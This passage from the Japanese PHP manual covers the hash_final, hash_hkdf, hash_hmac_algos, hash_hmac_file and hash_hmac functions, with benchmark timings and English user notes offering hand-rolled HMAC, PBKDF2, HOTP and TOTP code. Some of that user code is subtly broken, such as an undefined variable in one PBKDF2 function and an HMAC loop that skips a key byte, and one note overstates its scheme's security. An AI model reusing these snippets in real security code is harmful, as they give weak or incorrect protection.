ALGO: sha512, time: 13.990800857544
ALGO: ripemd128, time: 9.3185329437256
ALGO: ripemd160, time: 9.3165328502655
ALGO: ripemd256, time: 9.2495288848877
ALGO: ripemd320, time: 9.2395279407501
ALGO: whirlpool, time: 27.779588937759
ALGO: tiger128,3, time: 9.3075330257416
ALGO: tiger160,3, time: 9.1875250339508
ALGO: tiger192,3, time: 9.3875370025635
ALGO: tiger128,4, time: 9.1755249500275
ALGO: tiger160,4, time: 9.355535030365
ALGO: tiger192,4, time: 9.2025260925293
ALGO: snefru, time: 42.781446218491
ALGO: snefru256, time: 42.613437175751
ALGO: gost, time: 18.606064081192
ALGO: gost-crypto, time: 18.664067983627
ALGO: adler32, time: 9.1535229682922
ALGO: crc32, time: 10.126579999924
ALGO: crc32b, time: 10.01757311821
ALGO: fnv132, time: 9.7505569458008
ALGO: fnv1a32, time: 9.7935597896576
ALGO: fnv164, time: 9.8945660591125
ALGO: fnv1a64, time: 9.3025319576263
ALGO: joaat, time: 9.7175559997559
ALGO: haval128,3, time: 9.6855540275574
ALGO: haval160,3, time: 10.10857796669
ALGO: haval192,3, time: 9.6765530109406
ALGO: haval224,3, time: 20.636180877686
ALGO: haval256,3, time: 10.641607999802
ALGO: haval128,4, time: 7.5594329833984
ALGO: haval160,4, time: 7.2884171009064
ALGO: haval192,4, time: 7.2934169769287
ALGO: haval224,4, time: 7.2964169979095
ALGO: haval256,4, time: 7.3034179210663
ALGO: haval128,5, time: 8.3244760036469
ALGO: haval160,5, time: 8.3174757957458
ALGO: haval192,5, time: 8.3204758167267
ALGO: haval224,5, time: 8.3234758377075
ALGO: haval256,5, time: 8.3254759311676

bench 13,0 Mo, win is 'adler32'  : 0.037002

ALGO: md2, time: 2.0341160297394
ALGO: md4, time: 0.062004089355469
ALGO: md5, time: 0.071003913879395
ALGO: sha1, time: 0.086004972457886
ALGO: sha224, time: 0.18301010131836
ALGO: sha256, time: 0.18301105499268
ALGO: sha384, time: 0.36102104187012
ALGO: sha512, time: 0.3610200881958
ALGO: ripemd128, time: 0.15900897979736
ALGO: ripemd160, time: 0.20701193809509
ALGO: ripemd256, time: 0.16500997543335
ALGO: ripemd320, time: 0.22501301765442
ALGO: whirlpool, time: 0.74204206466675
ALGO: tiger128,3, time: 0.12200689315796
ALGO: tiger160,3, time: 0.12100696563721
ALGO: tiger192,3, time: 0.12200713157654
ALGO: tiger128,4, time: 0.15700888633728
ALGO: tiger160,4, time: 0.15700888633728
ALGO: tiger192,4, time: 0.15600895881653
ALGO: snefru, time: 1.1520659923553
ALGO: snefru256, time: 1.151065826416
ALGO: gost, time: 0.48902797698975
ALGO: gost-crypto, time: 0.49202799797058
ALGO: adler32, time: 0.037002086639404
ALGO: crc32, time: 0.10300588607788
ALGO: crc32b, time: 0.093006134033203
ALGO: fnv132, time: 0.043002128601074
ALGO: fnv1a32, time: 0.045002937316895
ALGO: fnv164, time: 0.12800693511963
ALGO: fnv1a64, time: 0.12800693511963
ALGO: joaat, time: 0.070003986358643
ALGO: haval128,3, time: 0.12900686264038
ALGO: haval160,3, time: 0.12800693511963
ALGO: haval192,3, time: 0.12900805473328
ALGO: haval224,3, time: 0.12800693511963
ALGO: haval256,3, time: 0.12800693511963
ALGO: haval128,4, time: 0.19901204109192
ALGO: haval160,4, time: 0.1990110874176
ALGO: haval192,4, time: 0.20001196861267
ALGO: haval224,4, time: 0.20001101493835
ALGO: haval256,4, time: 0.20001220703125
ALGO: haval128,5, time: 0.22601294517517
ALGO: haval160,5, time: 0.2270131111145
ALGO: haval192,5, time: 0.2270131111145
ALGO: haval224,5, time: 0.2270131111145
ALGO: haval256,5, time: 0.22701287269592
holdoffhunger at gmail dot com 30-Jun-2012 01:03
The Hash_File() function returns the same value as if the function Hash() had been performed on the same exact piece of data.  At first, I was uncertain if Hash_File() used the filename, or even the permission settings, when defining the data to be hashed for the given algorithm.  If it did work that way, then that means the same exact files would have different HASH values when you moved or renamed them on your system.  Anyway, fortunately, it does not work that way.  Hash() and Hash_File() produce identical results for the same pieces of data.  This is also true for the relationship between the Hash_HMAC() and Hash_HMAC_File() functions: the same pieces of data, the same keys, produce identical results.  It was a wise, design principle.

Some sample code to demonstrate this principle :

<?php

            // Author: holdoffhunger@gmail.com

        // Preset Data
        // ------------------------------------------------

    $test_data = "php-hashing";
    $test_file = "test.txt";
    $test_file_read = file_get_contents($test_file);

        // Hash Data
        // ------------------------------------------------

    $test_data_hash = hash("md2", $test_data, FALSE);
    $test_file_hash = hash_file("md2", $test_file, FALSE);

        // Print Hash Results
        // ------------------------------------------------

    print("Data Hash ($test_data): $test_data_hash<br><br>");
    print("File Hash ($test_file_read): $test_file_hash");

?>

    Expected Results
    ..................................

Data Hash (php-hashing): 457d84e1d69e519a7b73348db21477d3

File Hash (php-hashing): 457d84e1d69e519a7b73348db21477d3
apm at domain itsmee.co.uk 10-Jul-2011 04:56
I have verified that the output of the "crc32" is the ITU I.363.5 algorithm (a.k.a. AAL5 CRC - popularised by BZIP2 but also used in ATM transmissions - the algorithm is the same as that in POSIX 1003.2-1992 in Cksum but that stuffs the size into the CRC at the end for extra measure).  However, the output is expressed in reverse order to many CRC programs.  Using the "standard" crctest.txt (numbers 1 to 9 in sequence - google it, it's not hard to find), php will output 181989fc - many other (Intel little endian) programs would output this as fc891918, hence the confusion (that I have had, at least).

The crc32b is the 32-bit Frame Check Sequence of ITU V.42 (used in Ethernet and popularised by PKZip).  The output from this CRC is popularised in Intel little endian format and would produce cbf43926 on the same file.
Anonymous 26-Apr-2011 09:55
Please take note that hash-file will throw error on files >=2GB.
chernyshevsky at hotmail dot com 22-Sep-2010 04:01
If you want to use hash_file() to get the CRC32 value of a file, use the following to unpack the hex string returned by the function to an integer (similar to crc32()):

$hash = hash_file('crc32b', $filepath);
$array = unpack('N', pack('H*', $hash));
$crc32 = $array[1];
Keisial at gmail dot com 11-Sep-2008 11:46
The 'octets reversed' you are seeing is the bug 45028 which has been fixed. http://bugs.php.net/bug.php?id=45028

The difference between crc32 and crc32b is explained on mhash man page. crc32 is the one used on ethernet, while crc32b is the one used on zip, png... They differ on the table used.
allaryin at gmail dot com 23-Jul-2008 03:16
For those who are wondering, there appears to be no fundamental difference between hash_file('md5')/hash_file('sha1') and md5_file()/sha1_file(). They produce identical output and have comparable performance.

There is, however, a difference between hash_file('crc32') and something silly like crc32(file_get_contents()).

crc32(file_get_contents())'s results are most similar to those of hash_file('crc32b'), just with the octets reversed:

<?php
$fname = "something.png";

$hash = hash_file( 'crc32', $fname );
echo "crc32  = $hash\n";

$hash = hash_file( 'crc32b', $fname );
echo "crc32b = $hash\n";

$hash = sprintf("%x",crc32(file_get_contents($fname)));
echo "manual = $hash\n";
?>

crc32  = f41d7f4e
crc32b = 7dafbba4
manual = a4bbaf7d


段階的なハッシュ処理を終了し、出来上がったダイジェストを返す

  • ≪ hash_file
  • hash_hkdf ≫
  • PHP Manual
  • Hash 関数
  • 段階的なハッシュ処理を終了し、出来上がったダイジェストを返す

hash_final

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL hash >= 1.1)

hash_final — 段階的なハッシュ処理を終了し、出来上がったダイジェストを返す

説明

hash_final ( HashContext $context , bool $binary = false ) : string

パラメータ

context

hash_init() が返すハッシュコンテキスト。

binary

true を設定すると、生のバイナリデータを出力します。 false の場合は小文字の 16 進数値となります。

返り値

binary が true に設定されていない場合は、 メッセージダイジェストの計算結果を小文字の 16 進数値形式の文字列で 返します。もし true に設定されていた場合は、メッセージダイジェストが そのままのバイナリ形式で返されます。

変更履歴

バージョン | 説明
7.2.0 | リソースの代わりに、HashContext を受け入れるようになりました。

例

例1 hash_final() の例

<?php
$ctx = hash_init('sha1');
hash_update($ctx, 'The quick brown fox jumped over the lazy dog.');
echo hash_final($ctx);
?>

上の例の出力は以下となります。

c0854fb9fb03c41cce3802cb0d220529e6eef94e

参考

  • hash_init() - 段階的なハッシュコンテキストを初期化する
  • hash_update() - アクティブなハッシュコンテキストにデータを投入する
  • hash_update_stream() - アクティブなハッシュコンテキストに、オープンしているストリームから データを投入する
  • hash_update_file() - アクティブなハッシュコンテキストに、ファイルからデータを投入する

User Contributed Notes

There are no user contributed notes for this page.


与えられたキーから導出されるHKDFキーを生成する

  • ≪ hash_final
  • hash_hmac_algos ≫
  • PHP Manual
  • Hash 関数
  • 与えられたキーから導出されるHKDFキーを生成する

hash_hkdf

(PHP 7 >= 7.1.2, PHP 8)

hash_hkdf — 与えられたキーから導出されるHKDFキーを生成する

説明

hash_hkdf ( string $algo , string $key , int $length = 0 , string $info = "" , string $salt = "" ) : string

パラメータ

algo

選択したハッシュアルゴリズムの名前 (例. "sha256", "sha512", "haval160,4" など) サポートされているアルゴリズムの一覧は hash_algos() を参照してください。

注意:

暗号に適さないハッシュ関数は許可されません。

key

入力キー (生のバイナリ)。 空ではいけません。

length

出力の長さをバイト単位で指定します。 選んだハッシュ関数のサイズの255倍以下でなければなりません。

length が 0 の場合、 出力の長さはハッシュ関数が選んだデフォルトのサイズになります。

info

アプリケーション/コンテキスト依存の情報を示す文字列

salt

導出の間に使うソルト

この値はオプションですが、 ランダムなソルトを追加するとHKDFの強度が飛躍的に向上します。

返り値

導出されたキーの生バイナリ表現の文字列を返します(この値は、 出力キーマテリアル(OKM) としても知られています)。 失敗時には false を返します。

エラー / 例外

key が空の場合だったり、 algo が未知だったり/暗号に適さなかったり、 length が0より小さいか大きすぎる (ハッシュ関数のサイズの255倍より大きい)場合、 E_WARNING が発生します。

例

例1 hash_hkdf() の例

<?php
// ランダムなキーと、導出するキーを強力にするためのソルトを生成します。
$inputKey = random_bytes(32);
$salt = random_bytes(16);

// 上で生成した同じ入力を使い、異なるキーのペアを導出します。
$encryptionKey = hash_hkdf('sha256', $inputKey, 32, 'aes-256-encryption', $salt);
$authenticationKey = hash_hkdf('sha256', $inputKey, 32, 'sha-256-authentication', $salt);

var_dump($encryptionKey !== $authenticationKey); // bool(true)
?>

上の例は、AES-256 encryption と SHA-256 authentication をそれぞれ使い、 encrypt-then-HMAC を生成する用途に合った、 異なるキーペアを生成します。

参考

  • hash_pbkdf2() - PBKDF2 を使ってパスワードからキーを生成する
  • » RFC 5869
  • » userland implementation

User Contributed Notes

There are no user contributed notes for this page.


hash_hmac に合うハッシュアルゴリズムの一覧を返す

  • ≪ hash_hkdf
  • hash_hmac_file ≫
  • PHP Manual
  • Hash 関数
  • hash_hmac に合うハッシュアルゴリズムの一覧を返す

hash_hmac_algos

(PHP 7 >= 7.2.0, PHP 8)

hash_hmac_algos — hash_hmac に合うハッシュアルゴリズムの一覧を返す

説明

hash_hmac_algos ( ) : array

返り値

数値インデックスをキーとし、 hash_hmac() に合う、 サポートされたハッシュアルゴリズムの一覧を値とした配列を返します。

例

例1 hash_hmac_algos() の例

<?php
print_r(hash_hmac_algos());

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => md2
    [1] => md4
    [2] => md5
    [3] => sha1
    [4] => sha224
    [5] => sha256
    [6] => sha384
    [7] => sha512/224
    [8] => sha512/256
    [9] => sha512
    [10] => sha3-224
    [11] => sha3-256
    [12] => sha3-384
    [13] => sha3-512
    [14] => ripemd128
    [15] => ripemd160
    [16] => ripemd256
    [17] => ripemd320
    [18] => whirlpool
    [19] => tiger128,3
    [20] => tiger160,3
    [21] => tiger192,3
    [22] => tiger128,4
    [23] => tiger160,4
    [24] => tiger192,4
    [25] => snefru
    [26] => snefru256
    [27] => gost
    [28] => gost-crypto
    [29] => haval128,3
    [30] => haval160,3
    [31] => haval192,3
    [32] => haval224,3
    [33] => haval256,3
    [34] => haval128,4
    [35] => haval160,4
    [36] => haval192,4
    [37] => haval224,4
    [38] => haval256,4
    [39] => haval128,5
    [40] => haval160,5
    [41] => haval192,5
    [42] => haval224,5
    [43] => haval256,5
)

注意

注意:

PHP 7.2.0 より前のバージョンでは、 サポートされたハッシュアルゴリズムの一覧を取得する唯一の手段は、 hash_hmac() に合わないアルゴリズムも返してしまう hash_algos() を呼び出すことでした。

参考

  • hash_hmac() - HMAC 方式を使用してハッシュ値を生成する
  • hash_algos() - 登録されているハッシュアルゴリズムの一覧を返す

User Contributed Notes

There are no user contributed notes for this page.


HMAC 方式を使用して、指定されたファイルの内容からハッシュ値を生成する

  • ≪ hash_hmac_algos
  • hash_hmac ≫
  • PHP Manual
  • Hash 関数
  • HMAC 方式を使用して、指定されたファイルの内容からハッシュ値を生成する

hash_hmac_file

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL hash >= 1.1)

hash_hmac_file — HMAC 方式を使用して、指定されたファイルの内容からハッシュ値を生成する

説明

hash_hmac_file ( string $algo , string $data , string $key , bool $binary = false ) : string|false

パラメータ

algo

選択したアルゴリズムの名前 (すなわち "md5"、"sha256"、"haval160,4" など...)。 サポートするアルゴリズムの一覧は hash_hmac_algos() を参照ください。

data

ハッシュ対象となるファイルの位置を示す URL。 fopen ラッパーをサポートしています。

key

HMAC 方式でのメッセージダイジェストを生成するために使用する 共有の秘密鍵。

binary

true を設定すると、生のバイナリデータを出力します。 false の場合は小文字の 16 進数値となります。

返り値

binary が true に設定されていない場合は、 メッセージダイジェストの計算結果を小文字の 16 進数値形式の文字列で 返します。もし true に設定されていた場合は、メッセージダイジェストが そのままのバイナリ形式で返されます。 algo が不明な場合や、 暗号に適さないハッシュ関数の場合、 または data が読めない場合は、false が返されます。

変更履歴

バージョン | 説明
7.2.0 | 暗号に適さないハッシュ関数 (adler32, crc32, crc32b, fnv132, fnv1a32, fnv164, fnv1a64, joaat) は使えなくなりました。

例

例1 hash_hmac_file() の例

<?php
/* ハッシュ値を計算するファイルを作成します */
file_put_contents('example.txt', 'The quick brown fox jumped over the lazy dog.');

echo hash_hmac_file('md5', 'example.txt', 'secret');
?>

上の例の出力は以下となります。

7eb2b5c37443418fc77c136dd20e859c

参考

  • hash_hmac_algos() - hash_hmac に合うハッシュアルゴリズムの一覧を返す
  • hash_hmac() - HMAC 方式を使用してハッシュ値を生成する
  • hash_file() - ファイルの内容から、ハッシュ値を生成する

User Contributed Notes

There are no user contributed notes for this page.


HMAC 方式を使用してハッシュ値を生成する

  • ≪ hash_hmac_file
  • hash_init ≫
  • PHP Manual
  • Hash 関数
  • HMAC 方式を使用してハッシュ値を生成する

hash_hmac

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL hash >= 1.1)

hash_hmac — HMAC 方式を使用してハッシュ値を生成する

説明

hash_hmac ( string $algo , string $data , string $key , bool $binary = false ) : string|false

パラメータ

algo

選択したアルゴリズムの名前 (すなわち "md5"、"sha256"、"haval160,4" など...)。 サポートするアルゴリズムの一覧は hash_hmac_algos() を参照ください。

data

ハッシュするメッセージ。

key

HMAC 方式でのメッセージダイジェストを生成するために使用する 共有の秘密鍵。

binary

true を設定すると、生のバイナリデータを出力します。 false の場合は小文字の 16 進数値となります。

返り値

binary が true に設定されていない場合は、 メッセージダイジェストの計算結果を小文字の 16 進数値形式の文字列で 返します。もし true に設定されていた場合は、メッセージダイジェストが そのままのバイナリ形式で返されます。 algo が未知の場合や、 暗号に適さないハッシュ関数の場合は false を返します。

変更履歴

バージョン | 説明
7.2.0 | 暗号に適さないハッシュ関数 (adler32, crc32, crc32b, fnv132, fnv1a32, fnv164, fnv1a64, joaat) は使えなくなりました。

例

例1 hash_hmac() の例

<?php
echo hash_hmac('ripemd160', 'The quick brown fox jumped over the lazy dog.', 'secret');
?>

上の例の出力は以下となります。

b8e7ae12510bdfb1812e463a7f086122cf37e4f7

参考

  • hash() - ハッシュ値 (メッセージダイジェスト) を生成する
  • hash_hmac_algos() - hash_hmac に合うハッシュアルゴリズムの一覧を返す
  • hash_init() - 段階的なハッシュコンテキストを初期化する
  • hash_hmac_file() - HMAC 方式を使用して、指定されたファイルの内容からハッシュ値を生成する

User Contributed Notes

Pawel M. 11-Mar-2021 10:32
Function for those, who really need to use crc32 algorithm in PHP>7.1

<?php
    function hash_hmac_crc32(string $key, string $data): string
    {
        $b = 4;
        if (strlen($key) > $b) {
            $key = pack("H*", hash('crc32', $key));
        }
        $key  = str_pad($key, $b, chr(0x00));
        $ipad = str_pad('', $b, chr(0x36));
        $opad = str_pad('', $b, chr(0x5c));
        $k_ipad = $key ^ $ipad;
        $k_opad = $key ^ $opad;
        return hash('crc32', $k_opad . hash('crc32', $k_ipad . $data, true));
    }
?>
Korbendallas 23-Apr-2018 08:46
Very important notice, if you pass array to $data, php will generate a Warning, return a NULL and continue your application. Which I think is critical vulnerability as this function used to check authorisation typically.

Example:
<?php
var_dump(hash_hmac('sha256', [], 'secret'));

WARNING hash_hmac() expects parameter 2 to be string, array given on line number 3
NULL
?>
Of course not documented feature.
omidbahrami1990 at gmail dot com 06-Dec-2017 12:02
This Is The Most Secure Way To Hash Your Data,
It Will Be Almost Impossible To Retrieve Your Data.
--------------------------------------------------------
 --- Create Two Random Keys And Save Them In Your Configuration File ---
<?php
// Create A Random Key
echo base64_encode(openssl_random_pseudo_bytes(64));
?>
--------------------------------------------------------
<?php
// Save The Keys In Your Configuration File
define('FIRSTKEY','TNYazlbZ1Mq3HDMiEFDLrRMZBftFqpU2Ipytgytsc+jmQysE8lmigKtmGK+exB337ZOcAgwPpWmoPHL5niO3jA==');
define('SECONDKEY','z5hh/Kax4+HKZ8exOlvGlrHev/6ZynOEn904yiiIcWo/qLXWSfLkzm4NSJiGXu4uR7xxUowOkO26VqAi2p2DYQ==');
?>
--------------------------------------------------------
<?php
function secured_hash($data)
{
$first_key = base64_decode(FIRSTKEY);
$second_key = base64_decode(SECONDKEY);

$first_hashed = hash_hmac('sha3-512', $data, $first_key, TRUE);
$second_hashed = hash_hmac('sha3-512', $first_hashed, $second_key);

return $second_hashed;
}
?>
Michiel Thalen, Thalent 13-Oct-2016 03:54
As  Michael  uggests we should take care not to compare the hash using == (or ===). Since PHP version 5.6 we can now use hash_equals().

So the example will be:

<?php
    if (hash_equals($hashed_expected, $hashed_value) ) {
        echo "hashes match!";
    }
?>
droidlabour at gmail dot com 31-Mar-2016 06:24
For signing an Amazon AWS query, base64-encode the binary value:

<?php
echo base64_encode(hash_hmac("sha1", $Request, $AmazonSecretKey, true));
?>
Michael 19-Feb-2013 08:52
Please be careful when comparing hashes. In certain cases, information can be leaked by using a timing attack. It takes advantage of the == operator only comparing until it finds a difference in the two strings. To prevent it, you have two options.

Option 1: hash both hashed strings first - this doesn't stop the timing difference, but it makes the information useless.

<?php
    if (md5($hashed_value) === md5($hashed_expected)) {
        echo "hashes match!";
    }
?>

Option 2: always compare the whole string.

<?php
    if (hash_compare($hashed_value, $hashed_expected)) {
        echo "hashes match!";
    }

    function hash_compare($a, $b) {
        if (!is_string($a) || !is_string($b)) {
            return false;
        }

        $len = strlen($a);
        if ($len !== strlen($b)) {
            return false;
        }

        $status = 0;
        for ($i = 0; $i < $len; $i++) {
            $status |= ord($a[$i]) ^ ord($b[$i]);
        }
        return $status === 0;
    }
?>
pete dot walker at NOSPAM dot me dot com 08-Oct-2012 02:13
A function implementing the algorithm outlined in RFC 6238 (http://tools.ietf.org/html/rfc6238)

<?php
/**
 * This function implements the algorithm outlined
 * in RFC 6238 for Time-Based One-Time Passwords
 *
 * @link http://tools.ietf.org/html/rfc6238
 * @param string $key    the string to use for the HMAC key
 * @param mixed  $time   a value that reflects a time (unix
 *                       time in the example)
 * @param int    $digits the desired length of the OTP
 * @param string $crypto the desired HMAC crypto algorithm
 * @return string the generated OTP
 */
function oauth_totp($key, $time, $digits=8, $crypto='sha256')
{
    $digits = intval($digits);
    $result = null;

    // Convert counter to binary (64-bit)
    $data = pack('NNC*', $time >> 32, $time & 0xFFFFFFFF);

    // Pad to 8 chars (if necessary)
    if (strlen ($data) < 8) {
        $data = str_pad($data, 8, chr(0), STR_PAD_LEFT);
    }

    // Get the hash
    $hash = hash_hmac($crypto, $data, $key);

    // Grab the offset
    $offset = 2 * hexdec(substr($hash, strlen($hash) - 1, 1));

    // Grab the portion we're interested in
    $binary = hexdec(substr($hash, $offset, 8)) & 0x7fffffff;

    // Modulus
    $result = $binary % pow(10, $digits);

    // Pad (if necessary)
    $result = str_pad($result, $digits, "0", STR_PAD_LEFT);

    return $result;
}
?>
relevant at celsius dot ee 14-Jul-2012 12:52
<?php
/* Here is a solution for those who used hash_hmac
   with Tiger algorithm in PHP 5.1 - 5.3
   and want to upgrade to PHP 5.4 (or newer?).

   The problem occured because the order of bytes for Tiger
   was changed to big endian since PHP 5.4.0.

   The two functions below assert $algo is one of Tiger algorithms,
   for example tiger160,4.
   */

# replaces hash('tiger...
function hash_tiger_rev($algo, $data, $raw_output = false) {
    $len = intval(substr($algo, 5, 3)); # 128, 160 or 192 bits
    $times = substr($algo, 9, 1); # 3 or 4
    $revhash = implode("", array_map("strrev",
        str_split(hash('tiger192,'.$times, $data, true), 8)));
    if ($len < 192) $revhash = substr($revhash, 0, $len >> 3);
    return $raw_output? $revhash: bin2hex($revhash);
}

# replaces hash_hmac('tiger...
function hash_hmac_tiger_rev($algo, $data, $key, $raw_output = false) {
    if (strlen($key) > 64) $key = hash_tiger_rev($algo, $key);
    $key = str_pad($key, 64, chr(0));
    $o_pad = str_repeat("\\", 64) ^ $key; # "\" = chr(0x5C)
    $i_pad = str_repeat("6", 64) ^ $key; # "6" = chr(0x36)
    return hash_tiger_rev($algo, $o_pad .
           hash_tiger_rev($algo, $i_pad . $data, true), $raw_output);
}

# always the new version of tiger
function hash_hmac_new($algo, $data, $key, $raw_output = false) {
    if (phpversion() > '5.4' || !preg_match('/^tiger(128|160|192),(3|4)$/', $algo))
        return hash_hmac($algo, $data, $key, $raw_output);
    else
        return hash_hmac_tiger_rev($algo, $data, $key, $raw_output);
}

# always the old version of tiger
function hash_hmac_old($algo, $data, $key, $raw_output = false) {
    if (phpversion() < '5.4' || !preg_match('/^tiger(128|160|192),(3|4)$/', $algo))
        return hash_hmac($algo, $data, $key, $raw_output);
    else
        return hash_hmac_tiger_rev($algo, $data, $key, $raw_output);
}

# let's test it
$algo = 'tiger160,4'; $pwd = 'foo'; $key = 'bar';
echo hash_hmac($algo, $pwd, $key), "<br>";
echo hash_hmac_tiger_rev($algo, $pwd, $key), "<br>";
echo "<br>";
echo hash_hmac_old($algo, $pwd, $key), "<br>";
echo hash_hmac_new($algo, $pwd, $key), "<br>";

/* With PHP 5.4 output would be
   590546d9f425188da35e5dfa53306ba3953571cc
   bd6664330ed96b9b39ee063241b62e43f546a49d

   bd6664330ed96b9b39ee063241b62e43f546a49d
   590546d9f425188da35e5dfa53306ba3953571cc

   With PHP 5.3
   bd6664330ed96b9b39ee063241b62e43f546a49d
   590546d9f425188da35e5dfa53306ba3953571cc

   bd6664330ed96b9b39ee063241b62e43f546a49d
   590546d9f425188da35e5dfa53306ba3953571cc
*/

?>
havoc at NOSPAM defuse dot ca 30-Jun-2012 04:30
Here is an efficient PBDKF2 implementation:

<?php
/*
 * PBKDF2 key derivation function as defined by RSA's PKCS #5: https://www.ietf.org/rfc/rfc2898.txt
 * $algorithm - The hash algorithm to use. Recommended: SHA256
 * $password - The password.
 * $salt - A salt that is unique to the password.
 * $count - Iteration count. Higher is better, but slower. Recommended: At least 1024.
 * $key_length - The length of the derived key in bytes.
 * $raw_output - If true, the key is returned in raw binary format. Hex encoded otherwise.
 * Returns: A $key_length-byte key derived from the password and salt.
 *
 * Test vectors can be found here: https://www.ietf.org/rfc/rfc6070.txt
 *
 * This implementation of PBKDF2 was originally created by defuse.ca
 * With improvements by variations-of-shadow.com
 */
function pbkdf2($algorithm, $password, $salt, $count, $key_length, $raw_output = false)
{
    $algorithm = strtolower($algorithm);
    if(!in_array($algorithm, hash_algos(), true))
        die('PBKDF2 ERROR: Invalid hash algorithm.');
    if($count <= 0 || $key_length <= 0)
        die('PBKDF2 ERROR: Invalid parameters.');

    $hash_length = strlen(hash($algorithm, "", true));
    $block_count = ceil($key_length / $hash_length);

    $output = "";
    for($i = 1; $i <= $block_count; $i++) {
        // $i encoded as 4 bytes, big endian.
        $last = $salt . pack("N", $i);
        // first iteration
        $last = $xorsum = hash_hmac($algorithm, $last, $password, true);
        // perform the other $count - 1 iterations
        for ($j = 1; $j < $count; $j++) {
            $xorsum ^= ($last = hash_hmac($algorithm, $last, $password, true));
        }
        $output .= $xorsum;
    }

    if($raw_output)
        return substr($output, 0, $key_length);
    else
        return bin2hex(substr($output, 0, $key_length));
}
?>
martin dot papik at ipsec dot info 09-Jun-2012 07:38
Yet another OATH HOTP function. Has a 64 bit counter and is a lot shorter. Enjoy.

<?php

function oath_hotp ($secret, $ctr, $len=6) {
        $binctr = pack ('NNC*', $ctr>>32, $ctr & 0xFFFFFFFF);
        $hash = hash_hmac ("sha1", $binctr, $secret);
// This is where hashing stops and truncation begins
        $ofs = 2*hexdec (substr ($hash, 39, 1));
        $int = hexdec (substr ($hash, $ofs, 8)) & 0x7FFFFFFF;
        $pin = substr ($int, -$len);
        $pin = str_pad ($pin, $len, "0", STR_PAD_LEFT);
        return $pin;
}

?>
josefkoh at hotmail dot com 27-Jul-2011 10:24
Simple implementation of hmac sha1

<?php

function hmac_sha1($key, $data)
{
    // Adjust key to exactly 64 bytes
    if (strlen($key) > 64) {
        $key = str_pad(sha1($key, true), 64, chr(0));
    }
    if (strlen($key) < 64) {
        $key = str_pad($key, 64, chr(0));
    }

    // Outter and Inner pad
    $opad = str_repeat(chr(0x5C), 64);
    $ipad = str_repeat(chr(0x36), 64);

    // Xor key with opad & ipad
    for ($i = 0; $i < strlen($key); $i++) {
        $opad[$i] = $opad[$i] ^ $key[$i];
        $ipad[$i] = $ipad[$i] ^ $key[$i];
    }

    return sha1($opad.sha1($ipad.$data, true));
}
Peter Terence Roux 23-Dec-2010 03:44
The Implementation of the PBKDF2 key derivation function as described in RFC 2898 can be used to not only get the hashed KEY but also a specific IV.

To use, one would use it as follows:-

<?php
  $p = str_hash_pbkdf2($pw, $salt, 10, 32, 'sha1');
  $p = base64_encode($p);

  $iv = str_hash_pbkdf2($pw, $salt, 10, 16, 'sha1', 32);
  $iv = base64_encode($iv);
?>

The function should be:-

<?php
  // PBKDF2 Implementation (described in RFC 2898)
  //
  // @param   string  p   password
  // @param   string  s   salt
  // @param   int     c   iteration count (use 1000 or higher)
  // @param   int     kl  derived key length
  // @param   string  a   hash algorithm
  // @param   int     st  start position of result
  //
  // @return  string  derived key
  function str_hash_pbkdf2($p, $s, $c, $kl, $a = 'sha256', $st=0)
  {
    $kb = $start+$kl;                        // Key blocks to compute
    $dk = '';                                    // Derived key

    // Create key
    for ($block=1; $block<=$kb; $block++)
    {
      // Initial hash for this block
      $ib = $h = hash_hmac($a, $s . pack('N', $block), $p, true);

      // Perform block iterations
      for ($i=1; $i<$c; $i++)
      {
        // XOR each iterate
        $ib ^= ($h = hash_hmac($a, $h, $p, true));
      }

      $dk .= $ib;                                // Append iterated block
    }

    // Return derived key of correct length
    return substr($dk, $start, $kl);
  }
?>
Siann Beck 10-Oct-2010 09:48
For signing an Amazon AWS query, base64-encode the binary value:

<?php
  $Sig = base64_encode(hash_hmac('sha256', $Request, $AmazonSecretKey, true));
?>
KC Cloyd 09-Sep-2009 11:16
Sometimes a hosting provider doesn't provide access to the Hash extension. Here is a clone of the hash_hmac function you can use in the event you need an HMAC generator and Hash is not available. It's only usable with MD5 and SHA1 encryption algorithms, but its output is identical to the official hash_hmac function (so far at least).

<?php

function custom_hmac($algo, $data, $key, $raw_output = false)
{
    $algo = strtolower($algo);
    $pack = 'H'.strlen($algo('test'));
    $size = 64;
    $opad = str_repeat(chr(0x5C), $size);
    $ipad = str_repeat(chr(0x36), $size);

    if (strlen($key) > $size) {
        $key = str_pad(pack($pack, $algo($key)), $size, chr(0x00));
    } else {
        $key = str_pad($key, $size, chr(0x00));
    }

    for ($i = 0; $i < strlen($key) - 1; $i++) {
        $opad[$i] = $opad[$i] ^ $key[$i];
        $ipad[$i] = $ipad[$i] ^ $key[$i];
    }

    $output = $algo($opad.pack($pack, $algo($ipad.$data)));

    return ($raw_output) ? pack($pack, $output) : $output;
}

?>

Example Use:

<?php

custom_hmac('sha1', 'Hello, world!', 'secret', true);

?>
brent at thebrent dot net 21-May-2009 08:17
The hotp algorithms above work with counter values less than 256, but since the counter can be larger, it's necessary to iterate through all the bytes of the counter:

<?php
function oath_hotp ($key, $counter)
{
    // Counter
    //the counter value can be more than one byte long, so we need to go multiple times
    $cur_counter = array(0,0,0,0,0,0,0,0);
    for($i=7;$i>=0;$i--)
    {
        $cur_counter[$i] = pack ('C*', $counter);
        $counter = $counter >> 8;
    }
    $bin_counter = implode($cur_counter);
    // Pad to 8 chars
    if (strlen ($bin_counter) < 8)
    {
        $bin_counter = str_repeat (chr(0), 8 - strlen ($bin_counter)) . $bin_counter;
    }

    // HMAC
    $hash = hash_hmac ('sha1', $bin_counter, $key);
    return $hash;
}

function oath_truncate($hash, $length = 6)
{
    // Convert to dec
    foreach(str_split($hash,2) as $hex)
    {
        $hmac_result[]=hexdec($hex);
    }

    // Find offset
    $offset = $hmac_result[19] & 0xf;

    // Algorithm from RFC
    return
    (
        (($hmac_result[$offset+0] & 0x7f) << 24 ) |
        (($hmac_result[$offset+1] & 0xff) << 16 ) |
        (($hmac_result[$offset+2] & 0xff) << 8 ) |
        ($hmac_result[$offset+3] & 0xff)
    ) % pow(10,$length);
}
print "<pre>";
print "Compare results with:";
print " http://tools.ietf.org/html/draft-mraihi-oath-hmac-otp-04\n";
print "Count\tHash\t\t\t\t\t\tPin\n";
for($i=0;$i<=1024;$i=$i+128)
{
   print $i."\t".($a=oath_hotp("12345678901234567890",$i));
   print "\t".oath_truncate($a)."\n";
}
?>
torben dot egmose at gmail dot com 22-Mar-2009 11:40
